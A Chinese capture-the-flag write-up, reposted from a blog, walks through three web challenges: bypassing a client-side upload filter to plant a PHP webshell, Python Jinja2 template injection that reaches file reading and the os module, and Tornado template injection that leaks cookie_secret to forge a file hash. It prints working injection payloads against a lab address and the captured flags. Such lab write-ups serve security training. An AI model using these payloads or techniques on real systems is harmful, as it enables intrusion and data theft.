攻防世界WEB高手进阶区upload1,Web_python_template_injection,easytornado

本文阅读 4 分钟
首页 代码,Java 正文

目录

upload1

题目介绍

解题思路

访问靶场

上传文件

查看源码

关闭前端

上传websehll.php

蚁剑连接

寻找flag

找到flag

Web_python_template_injection

题目介绍

解题思路

访问靶场

判断是否为模板注入

查看全局变量

魔术方法知识点

利用魔术方法

找到type file可以进行文件读取

找到 可以进行命令执行

读取flag

找到flag

easytornado

题目介绍

解题思路

访问靶场

逐个查看文件

访问 /fllllllllllllag

构造payload获取cookie_secret

获取flag

找到flag

题目介绍

img

解题思路

访问靶场

img

上传文件

img

查看源码

img

发现用前端javascript来限制上传文件格式

关闭前端

下载插件disable javascript,关闭前端

img

上传websehll.php

img

蚁剑连接

img

寻找flag

在html文件夹下找到flag

img

img

找到flag

cyberpeace{71b414e237ae390d1d5fa0171dfb0bb6}

题目介绍

img

解题思路

访问靶场

img

判断是否为模板注入

http://111.200.241.244:58188/{
<!-- -->{6*6}}

img

存在模板注入

查看全局变量

http://111.200.241.244:58188/{ {config}}http://111.200.241.244:58188/{
<!-- -->{config}} http://111.200.241.244:58188/{ {config}}

img

魔术方法知识点

class  返回类型所属的对象

mro    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

base   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

subclasses   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

init  类的初始化方法

globals  对包含函数全局变量的字典的引用

利用魔术方法

[http://111.200.241.244:58188/{ {''.__class__.__mro__[2].__subclasses__()}}](http://111.200.241.244:58188/%7B%7B'%20rel=)http://111.200.241.244:58188/{
<!-- -->{''.__class__.__mro__[2].__subclasses__()}}

img [http://111.200.241.244:58188/{ {''.__class__.__mro__[2].__subclasses__()}}](http://111.200.241.244:58188/%7B%7B'%20rel=)

img

找到type file可以进行文件读取

[40]是tupe file类型出现位置(从0开始的位置)

http://111.200.241.244:58188/{
<!-- -->{ [].__class__.__base__.__subclasses__()40.read() }}

img

找到 <class ‘site._Printer’>可以进行命令执行

http://111.200.241.244:58188/{
<!-- -->{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

img

读取flag

找到flag

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

题目介绍

img

解题思路

访问靶场

img

逐个查看文件

img发现flag在/fllllllllllllag文件里

img

render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

img

访问 /fllllllllllllag

111.200.241.244:62882/file?filename= /fllllllllllllag

出现页面error

img

观察页面后修改msg后面的数值

img

此时结合第二个文件中的提示 render,考虑此处存在 Tornado 的服务端模板注入攻击

img

发现确实存在 SSTI ,但是部分注入被过滤了

构造payload获取cookie_secret

cookie_secret 是存在于 settings 中的,settings 又作为参数传入了 Application 构造函数,因此可以通过 self.application.settings 来获取到 cookie_secret。又因为根据官方文档, RequestHandler.settings 的别名是 self.application.settings,且 handler 指向处理当前这个页面的 RequestHandler 对象,故最终的效果就是可以直接通过 handler.settings 来得到 cookie_secret 的值。

构造 payload,msg={
<!-- -->{handler.settings}} 即可获取到 cookie_secret。

111.200.241.244:62882/error?msg={
<!-- -->{handler.settings}}

img

根据第三个文件

对/fllllllllllllag进行md5加密

img

对a4509af8-8497-40e2-9dd7-e0c85c01288d和 3bf9f6cf685a6dd8defadabfb41a03a1(小写)进行加密

img

获得88898e58a01102c4a624fbb3934d6881

获取flag

我们得到

filename=fllllllllllllag

filehash=88898e58a01102c4a624fbb3934d6881

img

找到flag

flag{3f39aea39db345769397ae895edb9c70}

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/m0_63127854/article/details/125231324
-- 展开阅读全文 --
BUUCTF Web [极客大挑战 2019]Knife
« 上一篇 06-24
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复